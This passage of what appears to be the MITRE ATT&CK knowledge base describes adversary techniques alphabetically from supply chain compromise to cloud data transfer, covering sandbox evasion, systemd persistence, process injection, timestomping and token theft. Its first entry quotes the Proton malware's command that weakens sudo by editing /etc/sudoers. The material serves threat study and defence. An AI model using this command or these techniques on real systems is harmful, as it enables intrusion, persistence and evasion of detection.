The OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo ‘Defaults !tty_tickets’ >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.
T1195Supply Chain CompromiseAdversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)
- Replacement of legitimate software with modified versions
- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)
T1573.001Symmetric CryptographyAdversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.
T1218System Binary Proxy ExecutionAdversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)
T1497.001System ChecksAdversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management InstrumentationPowerShellSystem Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)
T1542.001System FirmwareAdversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
T1019System FirmwareThe BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
T1082System Information DiscoveryAn adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)
T1614.001System Language DiscoveryAdversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)

There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions.(Citation: CrowdStrike Ryuk January 2019)

For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language or parsing the outputs of Windows API functions GetUserDefaultUILanguageGetSystemDefaultUILanguageGetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)

On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.
T1614System Location DiscoveryAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance’s availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)

Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
T1016System Network Configuration DiscoveryAdversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arpipconfig/ifconfignbtstat, and route.

Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip routeshow ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )

Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.
T1049System Network Connections DiscoveryAdversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary’s goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include netstat, “net use,” and “net session” with Net. In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to “net session”. Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. show ip socketsshow tcp brief).(Citation: US-CERT-TA18-106A)
T1033System Owner/User DiscoveryAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v ‘_’ command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.

On network devices, Network Device CLI commands such as show users and show ssh can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)
T1216System Script Proxy ExecutionAdversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
T1007System Service DiscoveryAdversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc querytasklist /svcsystemctl --type=service, and net start.

Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
T1569System ServicesAdversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence (Create or Modify System Process), but adversaries can also abuse services for one-time or temporary execution.
T1529System Shutdown/RebootAdversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)

Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
T1124System Time DiscoveryAn adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time)(Citation: Technet Windows Time Service)

System time information may be gathered in a number of ways, such as with Net on Windows by performing net time \hostname to gather the system time on a remote system. The victim’s time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service)

On network devices, Network Device CLI commands such as show clock detail can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd)

This information could be useful for performing other techniques, such as executing a file with a Scheduled Task/Job(Citation: RSA EU12 They’re Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. System Location Discovery). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)
T1501Systemd ServiceSystemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands.

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by ‘systemctl’ or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by ‘systemctl’.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)

While adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)
T1543.002Systemd ServiceAdversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.

Systemd utilizes unit configuration files with the .service file extension to encode information about a service’s process. By default, system level unit files are stored in the /systemd/system directory of the root owned directories (/). User level unit files are stored in the /systemd/user directories of the user owned directories ($HOME). (Citation: lambert systemd 2022)

Service unit files use the following directives to execute system commands:(Citation: freedesktop systemd.service)

- ExecStartExecStartPre, and ExecStartPost directives cover execution of commands when a service is started manually by systemctl, or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStopExecStopPre, and ExecStopPost directives cover when a service is stopped.

Adversaries may abuse systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files systemd uses upon reboot or starting a service.(Citation: Anomali Rocke March 2019) Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.

The .service file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions.(Citation: Rapid7 Service Persistence 22JUNE2016)
T1053.006Systemd TimersAdversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over SSH.(Citation: Systemd Remote Control)

Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service.service files are Systemd Service unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.

An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.
T1080Taint Shared ContentAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary’s code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user’s expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.
T1221Template InjectionAdversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)

Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)

This technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)
T1505.005Terminal Services DLLAdversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)

Windows Services that are run as a “generic” process (ex: svchost.exe) load the service’s DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in %SystemRoot%\System32\, is the default ServiceDll value for Terminal Services in HKLM\System\CurrentControlSet\services\TermService\Parameters\.

Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent Remote Desktop Protocol sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.
T1542.005TFTP BootAdversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)
T1055.003Thread Execution HijackingAdversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocExWriteProcessMemorySetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)

This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.
T1055.005Thread Local StorageAdversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.

TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code’s legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other Process Injection techniques such as Process Hollowing.(Citation: FireEye TLS Nov 2017)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.
T1597.001Threat Intel VendorsAdversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)

Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).
T1497.003Time Based EvasionAdversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
T1547.003Time ProvidersAdversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders</code>.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)
T1209Time ProvidersThe Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)
T1099TimestompAdversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)
T1070.006TimestompAdversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name Masquerading to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)
T1134.001Token Impersonation/TheftAdversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using DuplicateToken or DuplicateTokenEx. The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user’s security context, or with SetThreadToken to assign the impersonated token to a thread.

An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.

When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using CreateProcessWithTokenW or CreateProcessAsUserWToken Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.
T1588.002ToolAdversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)

Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).
T1020.001Traffic DuplicationAdversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)

Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)

Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)

Adversaries may use traffic duplication in conjunction with Network SniffingInput Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.
T1205Traffic SignalingAdversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)
T1537Transfer Data to Cloud AccountAdversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.

